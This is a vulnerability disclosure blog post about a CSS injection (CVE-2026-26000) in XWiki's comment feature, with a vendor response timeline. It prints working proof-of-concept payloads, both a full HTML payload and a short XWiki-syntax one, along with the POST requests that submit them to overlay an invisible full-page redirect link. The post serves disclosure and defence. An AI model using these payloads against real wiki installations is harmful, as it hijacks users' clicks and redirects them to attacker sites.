During independent security research, a CSS injection vulnerability (CVE-2026-26000) was identified in the XWiki platform. XWiki is an open-source enterprise wiki and collaboration platform commonly used for internal documentation and knowledge management. According to XWiki, the platform has over 8,000 active installations and is used by organisations such as Lenovo and Amazon, meaning vulnerabilities can affect a large and diverse user base. The issue exists in the comment functionality, allowing any user with comment permissions to inject arbitrary CSS.
While CSS injection is often considered lower severity than JavaScript based attacks, it can enable impactful exploits that alter page appearance, hijack user interaction, and silently redirect users to external sites. This post provides an overview of CSS injection, explains its potential impact, and details how it was leveraged in XWiki to overlay a full-page invisible link that forces navigation to an attacker-controlled site.
What is CSS Injection?
CSS injection occurs when user supplied input is not properly sanitised before being embedded into the rendered page. Instead of being treated as harmless text, the input is interpreted as part of the site’s stylesheet or inline style attributes.
This gives an attacker control over how elements are displayed, positioned, or layered. Some common malicious uses include:
- Visual defacement: altering the look of a page to mislead users or damage credibility
- UI manipulation: overlaying fake buttons, forms or links to trick users into interacting with attacker-controlled elements
- Click hijacking: forcing user clicks to activate hidden links or buttons
- Information exposure: in certain contexts, styling can be abused to leak data such as through attribute selectors
While CSS injection does not execute arbitrary code like XSS, its ability to hijack layout and behaviour means it can still have a serious impact.
XWiki CSS Injection Explained
XWiki comments support HTML-like content, but inline styles are not properly sanitised. As a result, any user with comment permissions can inject arbitrary CSS into the rendered page simply by posting a comment. This allows control over the layout, positioning, and appearance of page elements, which can be used to obscure content, overlay fake interface elements, or alter the visual presentation of the site.
To demonstrate the impact, a proof-of-concept for CVE-2026-26000 was created that overlaid a full viewport element containing a transparent link. While this PoC used a full-page link for simplicity, the underlying vulnerability illustrates that any injected CSS could be used to manipulate page behaviour, hijack user interaction, or disrupt the user interface without requiring JavaScript.
CVE-2026-26000 Proof of Concept
To demonstrate the impact, a full HTML payload was created that injected a “div” element with the following styles:
- position: fixed, covering the entire screen
- width: 100vw and height: 100vh, matching the viewport dimensions
- opacity: 0, making the element invisible
- z-index set high enough to sit above all other content
Original example payload (submitted through a comment):
<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><body><!--startmacro:warning|-|--><div data-xwiki-non-generated-content="java.util.List<org.xwiki.rendering.block.Block>" class="xwiki-metadata-container"><div class="box" style="all:unset;position:fixed;top:0;left:0;width:100vw;height:100vh;opacity:0;z-index:9999;"><a href="https://example.com" style="display:block;width:100vw;height:100vh;"></a></div></div><!--stopmacro--><!--startmacro:html|-||-|<\img src=x)">--><!--stopmacro--></body></html>Example POST request:
POST /bin/commentadd/Main/WebHome?viewer=comments HTTP/1.1
<TRIM>
XWiki.XWikiComments_author=XWiki.admin&form_token=04JdEwVX7k8cVGXoJoGb2w&XWiki.XWikiComments_date=&XWiki.XWikiComments_replyto=&defaultEditorId=wysiwyg&RequiresHTMLConversion=XWiki.XWikiComments_comment&XWiki.XWikiComments_comment_syntax=xwiki%2F2.1&XWiki.XWikiComments_comment_cache=&XWiki.XWikiComments_comment=%3c!DOCTYPE%20html%3e%3chtml%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f1999%2fxhtml%22%20lang%3d%22en%22%20xml%3alang%3d%22en%22%3e%3cbody%3e%3c!--startmacro%3awarning%7c-%7c--%3e%3cdiv%20data-xwiki-non-generated-content%3d%22java.util.List%26lt%3borg.xwiki.rendering.block.Block%26gt%3b%22%20class%3d%22xwiki-metadata-container%22%3e%3cdiv%20class%3d%22box%22%20style%3d%22all%3aunset%3bposition%3afixed%3btop%3a0%3bleft%3a0%3bwidth%3a100vw%3bheight%3a100vh%3bopacity%3a0%3bz-index%3a9999%3b%22%3e%3ca%20href%3d%22https%3a%2f%2fexample.com%22%20style%3d%22display%3ablock%3bwidth%3a100vw%3bheight%3a100vh%3b%22%3e%3c%2fa%3e%3c%2fdiv%3e%3c%2fdiv%3e%3c!--stopmacro--%3e%3c!--startmacro%3ahtml%7c-%7c%7c-%7c%3c%5cimg%20src%3dx)%22%3e--%3e%3c!--stopmacro--%3e%3c%2fbody%3e%3c%2fhtml%3e&xredirect=%2Fbin%2Fget%2FMain%2FWebHome%3Fxpage%3Dxpart%26vm%3Dcommentsinline.vm%26skin%3DXWiki.DefaultSkin&xpage=xpart&vm=commentsinline.vm&skin=XWiki.DefaultSkinIn the following image, the payload has been slightly modified to make the injected content more visible for demonstration purposes. A semi-transparent overlay with a large, bold message at the bottom of the page clearly illustrates the effect of the CSS injection, making it easier to capture in screenshots.
This turned the page into an invisible redirect layer. However, further testing revealed that the same result could be achieved using built in XWiki syntax. This made the payload significantly smaller and easier to deploy.
Smaller payload using XWiki syntax:
[[~ >>https://www.example.com||class="dropdown-backdrop"]]Example POST request with the smaller payload:
POST /bin/commentadd/Main/WebHome?viewer=comments HTTP/1.1
<TRIM>
XWiki.XWikiComments_author=XWiki.admin&form_token=04JdEwVX7k8cVGXoJoGb2w&XWiki.XWikiComments_date=&XWiki.XWikiComments_replyto=&defaultEditorId=wysiwyg&XWiki.XWikiComments_comment_syntax=xwiki%2F2.1&XWiki.XWikiComments_comment_cache=&XWiki.XWikiComments_comment=%5B%5B~+%3E%3Ehttps%3A%2F%2Fwww.example.com%7C%7Cclass%3D%22dropdown-backdrop%22%5D%5D&xredirect=%2Fbin%2Fget%2FMain%2FWebHome%3Fxpage%3Dxpart%26vm%3Dcommentsinline.vm%26skin%3DXWiki.DefaultSkin&xpage=xpart&vm=commentsinline.vm&skin=XWiki.DefaultSkinThe vulnerability was originally identified in XWiki 16.10.10. Retesting confirmed that while later releases introduced mitigations for external navigation, the ability to inject arbitrary CSS via comments remained present in XWiki 17.4.6.
XWiki Response
The CSS injection vulnerability was reported the issue to the XWiki security team on 05 August 2025.
XWiki acknowledged the report on 06 August 2025 and confirmed the behaviour. During the initial discussion in August 2025, an initial mitigation was considered, focusing on preventing users from being taken to external domains via full page link overlays. Throughout this process, it was stressed that the underlying cause of the issue was not the presence of links themselves, but the ability for users with only the comment right to inject and apply arbitrary CSS that could fundamentally alter page behaviour. At that time, XWiki advised that fully disabling style attributes was not considered acceptable due to the impact on editor functionality.
On 15 October 2025, XWiki confirmed that a mitigation had been implemented to prompt users for confirmation before navigating to an external domain when clicking a link. This change was released in 17.9.0-rc-1, 17.4.6, and 16.10.13. Testing confirmed that while the external navigation prompt was in place, CSS injection via comments was still possible for users with only the comment right.
In January 2026, XWiki clarified that the CVE would cover only the clickjacking scenario addressed by the external navigation prompt. They confirmed that the underlying CSS comment injection remained unpatched, that a broader CVE would not be published until a full fix was developed, and that CSS usage had historically been treated as a feature rather than a vulnerability. Any restriction would require further design discussion due to the impact on existing functionality. On 10 February 2026, a CVE was assigned describing the issue as “clickjacking via CSS”, however, the underlying issue stems from the ability to inject arbitrary CSS through comments. This CSS injection capability remains present, meaning the root cause has not been addressed and the behaviour can still be abused beyond the specific clickjacking scenario addressed by the mitigation.
XWiki CSS Injection Disclosure Timeline
- 05 August 2025 – Initial report submitted to XWiki describing CSS injection via comments.
- 06 August 2025 – XWiki acknowledged the report and confirmed the behaviour. Mitigations focusing on external navigation were discussed.
- 15 October 2025 – XWiki released a mitigation prompting users before navigating to external domains and requested delayed disclosure. A CVE was indicated.
- 03 December 2025 – Retesting confirmed that CSS injection via comments remained possible.
- January 2026 – XWiki confirmed they would request a CVE only for the clickjacking scenario and would not publish a broader CVE for the CSS injection issue until a full fix was implemented, noting that remediation was not currently prioritised.
- 10 February 2026 – A CVE was assigned describing the issue as “clickjacking via CSS”. The underlying CSS injection capability remained present.
- At the time of writing – No further updates have been provided, and the core CSS injection behaviour has not been remediated.
Conclusion
This research demonstrates that non executable injection issues such as CSS injection can still have a meaningful security impact. By manipulating layout and user interaction, an attacker can influence user behaviour, obscure content, and hijack clicks without executing scripts.
XWiki has implemented a mitigation that prompts users before navigating to an external domain, which addresses the forced redirection aspect of the original proof of concept. Despite this, the underlying ability for users with comment permissions to inject arbitrary CSS remains. This allows continued manipulation of page layout and presentation, including full page overlays and interface interference.
While mitigating CSS injection requires careful consideration to avoid breaking legitimate functionality, this case highlights that CSS injection should not be treated as inherently low risk. Its potential to affect user interaction and trust makes it an issue that warrants careful handling and clear security boundaries.
Get in touch with our team to discuss how Sentrium can help identify vulnerabilities and reduce your application’s exposure to vulnerabilities with our web application penetration testing.
